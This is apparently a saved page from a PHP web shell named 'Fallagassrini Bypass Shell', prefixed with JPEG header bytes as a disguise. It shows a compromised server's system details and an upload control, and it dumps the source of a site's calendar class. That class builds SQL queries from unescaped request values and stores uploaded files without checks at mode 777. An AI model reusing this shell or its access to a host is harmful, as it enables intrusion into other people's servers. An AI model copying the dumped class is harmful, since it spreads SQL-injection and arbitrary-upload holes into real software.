����JFIF��;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 ��C  !"$"$��C��$^"�� ���}!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������� ���w!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?��� �C����^�"��,k8`��98�?�þ�.� s$ֱ�$��Xw��_�Z��¿�2�b������97�8%�Q�}s\�ŴqXxzK1��\@N�2��<��J����Y{�lF/�Z=N[���xr�B�}��F�Jۨ<yǽw� 5���o۹��^s��(�!������fF*zn������5�`Z�}���Ҋ��<�Tr�m��5�W>"�>Ir�{�_+<��$$����C��_UC)�^�r2�5��d�:�(c����⣕�U .f�p�S�nF���e�\����Ӱ��.�չ�8�# �m=8��i���O�^)R��=�^��*_:�M������3��x����8�k�>��(�y��D�NY���ҵ�/v�-]W�Z���}h[*������'�y�m&e�`Xg>����%��̲y�����k�߆�՞��Kwwr��d󞼎����� r��;���M<���[A���C¤ozʪ�+h%��B����Jcd��`�*ǎ���Vz��%�6�}�G;���m�����c�Պ~�b���_a�aii�E4jPL���U�<����Ɗ��v�g?�q~!�v���c ��D��pA/����m|=�-nux��^H�ޔ�����|�mt<�Y�Vz&�)�7F�YY���Z��/��U֩w}-�@�up�O%�P? ��H��MÃ�v��Wa�j0 �����0}k+[As[S�c�y����эL� t9-0���]��J�����i�h�Jۜ���M:�+��d����^����uH�&^� �唉��KH��?�񯣾 ^]G�\�4�#r���� qRR���GV!�i~眦���]Ay6��O�#g��m��&;�U����V BH����� ~Y8��(� J4������{U���|���� �1�4�%��v0?6#{�����t񦊊�#+{��E�8v�?�����?�c��9R]^Q,h��#�����i����[Y�����'�Š+x�Y佑V�R�{ec1��%��|]��p=�Vԡ��ʺ��9�rOZ�����Y �L�(�^*;�O'�ƑYx���Q�d��ݵq��~�5�_uk�{yH$H��Z(�3 �)�����~G�� Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/easwari/www/admin/includes/classes/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : /home/easwari/www/admin/includes/classes/class.Calendar.php

<?
#####Class For Calendar ######
class Calendar extends MysqlFns{
 
 /* class constructor */
  function Calendar(){
	global $config;
	$this->MysqlFns();
	$this->Limit = 20;
  }
  
  function ValidateCreateCalendar(){
	global $objSmarty;

	$error = array();
	$_POST = TrimAddSlashes($_POST);

	if($_POST['title_calendar'] == ''){
	  $error[] = 'Please Enter Title';
	}

	if($_POST['calendar_description'] == ''){
	  $error[] = 'Please Enter Description';
	} 

	if(count($error)>=1){
	  $errmsg = ErrorMessage($error,'400');
	  $objSmarty->assign('errmsg', $errmsg);
	  return false;
	}
	return true;
  }
  
  function CalendarCreate(){
    global $config;

	if($this->ValidateCreateCalendar()){

	  $InsertQry = 'INSERT INTO `tbl_create_calendar` (`calendar_created_by`,`calendar_title`,`calendar_description`,`calendar_view_options`, `calendar_created_on`) VALUES("' .$_SESSION['member_id']. '", "' . EscapeInj($_POST['title_calendar']) . '", "' . EscapeInj($_POST['calendar_description']) . '", "' . EscapeInj($_POST['view_options']) . '", now())';
	  $Result = $this->ExecuteQuery($InsertQry, 'insert');
	  $Calendar_id = mysql_insert_id();

	  Redirect('view_calenders.php?view_id='.$Calendar_id.'');
	}
  }
  
  function ViewCreatedCalendar($view_id){
    global $objSmarty;

	$SelectQry = "SELECT a.`create_calendar_id`,a.`calendar_image`,a.`calendar_title`,a.`calendar_description`,b.`first_name`,b.`last_name` FROM `tbl_create_calendar` a LEFT JOIN `tbl_members` b ON (a.`calendar_created_by` = b.`member_id`) WHERE a.`create_calendar_id` = '".$view_id."'";
	  $Result = $this->ExecuteQuery($SelectQry, 'select');
	  $objSmarty->assign('view_cal_det', $Result);

  }
############################################################## Selecting Created Plan #####################################  
   function SelectCreatedPlan(){
    global $objSmarty;

	$SelectQry_Plan = "SELECT `internet_place_id`, `internet_place_name` FROM `tbl_internet_insert_place` WHERE NOT `internet_place_id` IN (select `plan_embed_id` FROM `tbl_calendar_plan_embed`) AND `internet_place_member_id` = '".$_SESSION['member_id']."' GROUP BY `internet_place_id`";
	  $Result_Plan  = $this->ExecuteQuery($SelectQry_Plan, 'select');
	  $objSmarty->assign('display_plans', $Result_Plan);

  }
  
############################################################## Selecting Created Plan #####################################  
   function SelectCalendarEmbeddedPlan($view_id){
    global $objSmarty;

	$SelectQry_Plan_added = "SELECT a.`internet_place_id`, a.`internet_place_name`, a.`internet_place_picture`, d.`internet_place_startdate`, d.`internet_place_starttime`, d.`internet_place_startapm` FROM `tbl_internet_insert_place` a,  `tbl_calendar_plan_embed` b, `tbl_create_calendar` c, `tbl_internet_place_when_takeplace` d  WHERE a.`internet_place_id` = b.`plan_embed_id` AND a.`internet_place_id` = b.`plan_embed_id` AND a.`internet_place_member_id` = '".$_SESSION['member_id']."' AND b.calendar_embed_id = c.create_calendar_id AND a.internet_place_id = d.internet_place_id AND c.create_calendar_id = '".$view_id."' GROUP BY a.`internet_place_id` ORDER BY b.calendar_added_on DESC";
	  $Result_Plan_added  = $this->ExecuteQuery($SelectQry_Plan_added, 'select');
	  $objSmarty->assign('display_plans_added', $Result_Plan_added);

  }
  
############################################################## Preview & Change Image #####################################

function change_calendar_photo($objArray,$objFiles)
{
		global $objSmarty,$config;
		
		
		if (!empty($objFiles['Upload_Picture']['name']))
					{
						list($name, $format) =   split("[.]", $objFiles['Upload_Picture']['name'],2);				 
						$f1 = date('hisjmy')."_".$_FILES['Upload_Picture']['name'];
						if (move_uploaded_file($objFiles['Upload_Picture']['tmp_name'], $config['SiteCalendarImagePath'].$f1) )
						{	  
							chmod($config['SiteCalendarImagePath'].$f1, "777");
							$album=$config['SiteCalendarImagePath'].$f1;
							list($width, $height, $type, $attr) = getimagesize($album);
							if($width>=170)
							$objPear= new PEARImageResize($config['SiteCalendarImagePath'].$f1, $config['SiteCalendarImagePath'].'170_image/'."t_".$f1, 170);
							else
							$objPear= new PEARImageResize($config['SiteCalendarImagePath'].$f1, $config['SiteCalendarImagePath'].'170_image/'."t_".$f1, $width);
							if($width>=100)
							$objPear->PEARImageResize($config['SiteCalendarImagePath'].$f1, $config['SiteCalendarImagePath'].'100_image/'."s_".$f1, 100);
							else
							$objPear->PEARImageResize($config['SiteCalendarImagePath'].$f1, $config['SiteCalendarImagePath'].'100_image/'."s_".$f1, $width);
							if($width>=500)
							$objPear->PEARImageResize($config['SiteCalendarImagePath'].$f1, $config['SiteCalendarImagePath'].'500_image/'."o_".$f1, 500);
							else
							$objPear->PEARImageResize($config['SiteCalendarImagePath'].$f1, $config['SiteCalendarImagePath'].'500_image/'."o_".$f1, $width);
						}
					}
				$Select_Preview_Image = "SELECT  `change_picture_id`,`change_picture` FROM `tbl_create_calendar_picture` WHERE `create_calendar_id` = '".$objArray['Calendar_id']."'";
			    $Res_Selq_Preview_Image = $this->ExecuteQuery($Select_Preview_Image,'select');
			    $FileName_PreviewId     = $Res_Selq_Preview_Image[0]['change_picture_id'];
				$FileName_PreviewImage  = $Res_Selq_Preview_Image[0]['change_picture'];
				
				if(!empty($FileName_PreviewId))
	   			{
				$TempDirectory0  = $config['SiteCalendarImagePath'];
				$TempDirectory  = $config['SiteCalendarImagePath'].'170_image/';
				$TempDirectory1 = $config['SiteCalendarImagePath'].'100_image/';
				$TempDirectory2 = $config['SiteCalendarImagePath'].'500_image/';
				
				@unlink($TempDirectory0.$FileName_PreviewImage); 
				@unlink($TempDirectory.'t_'.$FileName_PreviewImage); 
				@unlink($TempDirectory1.'s_'.$FileName_PreviewImage); 
				@unlink($TempDirectory2.'o_'.$FileName_PreviewImage); 
				
				 $Update_Change_Photo = "UPDATE `tbl_create_calendar_picture`  SET `change_picture` = '".$f1."' WHERE `create_calendar_id` = '".$objArray['Calendar_id']."'"; 
				 $result	          = $this->ExecuteQuery($Update_Change_Photo,'update');
				}
				else
				{
				  $INSERT_Change_Photo = "INSERT INTO `tbl_create_calendar_picture` (`change_picture`,`create_calendar_id`) VALUES ('".$f1."','".$objArray['Calendar_id']."')"; 
				 $result	          = $this->ExecuteQuery($INSERT_Change_Photo,'insert');
				}
				 $$messg_display = "Image Uploaded Successfully";
				$objSmarty->assign("Calendar_id",$objArray['Calendar_id']);
				$objSmarty->assign("messg_display",$messg_display);
}
############################################################## Select Photo Display #####################################  
	function select_photo_display($Calendar_id)
	{
	 global $objSmarty;
	  $Select_Preview_Image = "SELECT  `change_picture` FROM `tbl_create_calendar_picture` WHERE `create_calendar_id` = '".$Calendar_id."'";
	  $Res_Selq_Preview_Image = $this->ExecuteQuery($Select_Preview_Image,'select');
	  $FileName_PreviewImage  = $Res_Selq_Preview_Image[0]['change_picture']; 
	  $objSmarty->assign("FileName_PreviewImage",$FileName_PreviewImage);
	}
	
	function add_change_now_image($objArray='')
	{
		global $objSmarty,$config;
	    $SelQuery = "SELECT `calendar_image` FROM `tbl_create_calendar` WHERE `create_calendar_id` = '".$objArray['Calendar_id']."'";
		$Res_Selq = $this->ExecuteQuery($SelQuery,'select');
		
		if(!empty($FileName))
		{
			$TempDirectory          = $config['SiteCalendarImagePath'];
			$TempDirectory_100image = $config['SiteCalendarImagePath'].'100_image/';
			$TempDirectory_170image = $config['SiteCalendarImagePath'].'170_image/';
			$TempDirectory_500image = $config['SiteCalendarImagePath'].'500_image/';
			
			@unlink($TempDirectory.$FileName); 
			@unlink($TempDirectory_100image.'s_'.$FileName); 
			@unlink($TempDirectory_170image.'t_'.$FileName); 
			@unlink($TempDirectory_500image.'o_'.$FileName); 
	     }
		 
		if(!empty($objArray['image_name']))
		{
			 $Update_Change_Photo = "UPDATE `tbl_create_calendar`  SET `calendar_image` = '".$objArray['image_name']."' WHERE `create_calendar_id` = '".$objArray['Calendar_id']."'"; 
			$result	             = $this->ExecuteQuery($Update_Change_Photo,'update');
			
			$DelQuery			 = "DELETE FROM `tbl_create_calendar_picture` WHERE `create_calendar_id` = '".$objArray['Calendar_id']."'";
			$result_deleted      = $this->ExecuteQuery($DelQuery,'delete');
		}
		
		$$messg_display = "Image Changed Successfully";
		$objSmarty->assign("Calendar_id",$objArray['Calendar_id']);
		header("Location:view_calenders.php?flag=1&view_id=".base64_encode($objArray['Calendar_id'])."");
		 
	}
	
##############################################################################################################################

	function Get_all_Calendars()
	{
		global $objSmarty,$config;
		$SelectQry_display = "SELECT a.`create_calendar_id`,a.`calendar_image`,a.`calendar_title`,a.`calendar_description`,b.`first_name`,b.`last_name` FROM `tbl_create_calendar` a LEFT JOIN `tbl_members` b ON (a.`calendar_created_by` = b.`member_id`) WHERE a.`calendar_created_by` = '".$_SESSION['member_id']."'";
	  $Result_display = $this->ExecuteQuery($SelectQry_display, 'select');
	  $objSmarty->assign('big_array', $Result_display);
	}
	
########################################################## Insert Plan Calendar ##############################################

 function  InsertPlanintoCalendar()
 	{
		 $Selt_Query_Check = 'SELECT `calendar_plan_embed_id` FROM `tbl_calendar_plan_embed` WHERE `calendar_embed_id` = "' . EscapeInj($_POST['view_id']) . '" AND `plan_embed_id` = "' . EscapeInj($_POST['select_cal']) . '" AND `calendar_plan_userid` = "' .$_SESSION['member_id']. '"';
		$Result_Query_Check  = $this->ExecuteQuery($Selt_Query_Check, 'select');
		 $Check_value 		 = $Result_Query_Check[0]['calendar_plan_embed_id'];
		if(empty($Check_value))
		{
			$InsertQry = 'INSERT INTO `tbl_calendar_plan_embed` (`calendar_embed_id`,`plan_embed_id`,`calendar_plan_userid`,`calendar_added_on`) VALUES("' . EscapeInj($_POST['view_id']) . '","' . EscapeInj($_POST['select_cal']) . '","' .$_SESSION['member_id']. '",now())';
		  $Result = $this->ExecuteQuery($InsertQry, 'insert');
	    }
	  header("Location:view_calenders.php?flag=1&view_id=".base64_encode($objArray['view_id'])."");
	}
}
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net